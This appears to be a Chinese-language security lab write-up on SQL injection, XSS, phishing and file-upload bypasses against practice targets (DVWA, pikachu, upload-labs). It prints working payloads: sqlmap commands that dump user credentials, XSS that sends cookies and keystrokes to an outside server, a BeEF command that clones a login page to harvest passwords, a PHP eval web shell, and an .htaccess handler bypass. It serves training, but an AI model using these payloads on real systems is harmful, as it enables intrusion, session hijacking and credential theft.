目录
一、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入
Medium等级(操作前重置数据库,避免上面已存在效果的影响)
使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码
登录beef后管页面:http://kali_ip:3000/ui/panel(账号均为:beef)编辑
使用 beef 克隆 pikachu 平台的”反射型XSS(post)“的登录页面
一、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入
-
说明
- 靶场:dvwa,级别为low
- sqlmap的安装略(官网文件下载和安装:https://sqlmap.org/)
- 在sqlmap安装目录执行命令
- 注入的路径及参数(如下爆库表命令等均在此后增加其他参数):python sqlmap.py -u "dvwa的域名/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=本地登录dvwa站的cookie值; security=low" --batch
-
爆库名
- 增加参数:--dbs
- 相关截图
-
爆表名
- 增加参数:-D dvwa --tables
- 相关截图
-
爆列名
- 增加参数:-D dvwa -T users --columns
- 相关截图
-
爆表内容
- 增加参数:-D dvwa -T users -C user,password --dump
- 相关截图(密码已解密)
二、XSS
-
完成DVWA靶场存储型XSS的漏洞练习
-
说明
- xss的常用js代码,有以下类型
- 浏览器加载触发:如
- <script>alert(1)</script>
- <img src="http://ip:port/test.js">
- 浏览器事件触发:如
- <img src=## οnerrοr=alert(document.cookie) />
- <a src=## οnmοuseοver=alert(document.cookie)>鼠标来这里</a>
- 浏览器加载触发:如
- 攻击时:尝试各种代码即可;如明确过滤,则选择不会被过滤的语句或绕过(大小写替换、双写)
- xss的常用js代码,有以下类型
-
Low等级
- 输入过滤:name未过滤,可对其攻击
- 攻击代码及效果
- 输入过滤:name未过滤,可对其攻击
-
Medium等级(操作前重置数据库,避免上面已存在效果的影响)
- 输入过滤:message严格过滤,name仅做标签替换(可使用大小写替换来攻击)
- 攻击代码及效果(通过surp逃过页面name的输入长度限制)
- 输入过滤:message严格过滤,name仅做标签替换(可使用大小写替换来攻击)
-
High等级(操作前重置数据库,避免上面已存在效果的影响)
- 输入过滤:name参数正则过滤了script标签(可使用img标签的事件来攻击)
- 攻击代码及效果
- 输入过滤:name参数正则过滤了script标签(可使用img标签的事件来攻击)
-
-
使用pikachu平台练习XSS键盘记录、前台XSS盲打攻击获取cookie,利用cookie实现登录
-
XSS键盘记录
- 修改pikachu的一处代码:rk.js,54行,如下ip改为你的pikachu服务器ip和端口
- 提交代码(测试时可打开F12观察是否有报错信息,如服务器端修改后,页面加载的js文件未修改,可通过增加v=新值强制重新加载)
<script src="http://ip:port/pkxss/rkeypress/rk.js"></script>
- 提交后在页面随便按键盘
- 登录xss后台查看键盘记录
- 修改pikachu的一处代码:rk.js,54行,如下ip改为你的pikachu服务器ip和端口
-
利用XSS盲打获取cookie并使用cookie实现登录
- 修改服务器此文件代码:将ip改为你的ip
- 在xss盲打提交代码(加载此代码时会提交cookie)
<script>document.write('<img src="http://ip:port/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>
- 管理员访问后台查看留言(管理员cookie被提交到服务器;此处使用360浏览器)
- 在xss后台查看提交的cookie(注意:相关账号未退出才可用;此处依然使用360浏览器)
- 使用火狐:导入cookie然后直接进入盲打后管留言列表页面
- 直接登录盲打后管留言列表页面(http://ip:port/vul/xss/xssblind/admin.php):会跳转到登录页,证明当前未登录
- 使用火狐的插件导入上面的cookie:复制,保存
-
再次直接登录盲打后管留言列表页面(http://ip:port/vul/xss/xssblind/admin.php):显示列表,证明使用cookie成功
- 直接登录盲打后管留言列表页面(http://ip:port/vul/xss/xssblind/admin.php):会跳转到登录页,证明当前未登录
- 修改服务器此文件代码:将ip改为你的ip
-
-
使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码
-
beef的安装
- 使用docker安装(放弃):几个都用不了,要么启动报错,要么克隆命令报错
- 使用kali2025安装(放弃):尝试克隆命令会报错
- 使用kali自带的beef(ok):我用的是kali2019.1,镜像下载地址:Index of /kali-images/kali-2019.1/
-
修改beef配置
- 配置文件位置
- 将此处的host值改为其所在服务器ip
- 配置文件位置
-
放开kali的ssh远程(具体可百度)
-
远程连接,启动beef
-
登录beef后管页面:http://kali_ip:3000/ui/panel(账号均为:beef)
-
使用 beef 克隆 pikachu 平台的”反射型XSS(post)“的登录页面
- 命令(替换为你的:pikachu地址+beef的ip、api key)
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"http://pikachu_ip/vul/xss/xsspost/post_login.php","mount":"/pikachu"}' -X POST http://kali_ip:3000/api/seng/clone_page?token=XXX
- 另开远程执行命令:成功
- 命令(替换为你的:pikachu地址+beef的ip、api key)
-
模拟获取账号密码
- 访问克隆页面(钓鱼网站,示例使用火狐):http://kali_ip:3000/pikachu,在beef后管页面可看到客户端机器上线
- 在克隆页面提交账号密码(提交后未进入登录成功页面:正常,因为是假冒的页面)
- 在beef后管查看该客户端的操作记录,可看到输入的账号和密码
- 访问克隆页面(钓鱼网站,示例使用火狐):http://kali_ip:3000/pikachu,在beef后管页面可看到客户端机器上线
-
三、文件上传
-
客户端绕过练习
-
说明
- 靶场使用upload-labs(docker 镜像:cuer/upload-labs)的Pass-01
- Pass-01的源码
- 上传的脚本文件:get.php(php一句话木马)
<?php eval(@$_GET['a']);?>
- 直接上传
- 客户端绕过的方式有:浏览器禁用JS、使用burp改文件名后缀、通过浏览器F12修改前端代码
-
练习:浏览器禁用JS
- 火狐:先按F12,再按F1,选中
- 上传文件成功
- 访问文件:在上传的图片区域右键获取“图片”链接,链接中加参数,访问成功
- 火狐:先按F12,再按F1,选中
-
练习:使用burp改文件名后缀
- 将get.php改名get.jpg,上传,抓包
- 修改文件名为get.php,发送,上传成功
- 将get.php改名get.jpg,上传,抓包
-
练习:修改前端代码
- 火狐,F12,定位到表单的JS事件代码
- 删除事件代码,上传get.php成功
- 火狐,F12,定位到表单的JS事件代码
-
-
服务端黑名单绕过:给出.htaccess文件绕过的具体步骤
-
说明
- 靶场使用upload-labs的Pass-04
- Pass-04源码:黑名单未校验 .htaccess 文件,导致可上传该文件
- 上传文件2个
- .htaccess(将当前目录下所有文件都当成php文件解析)
<FilesMatch "info.jpg"> Sethandler application/x-httpd-php </FilesMatch>
- info.jpg
<?php phpinfo(); ?>
- .htaccess(将当前目录下所有文件都当成php文件解析)
-
操作步骤
- 先上传.htaccess,成功
- 再上传info.php,成功
- 右键“图片”获取链接,添加参数,访问ok
-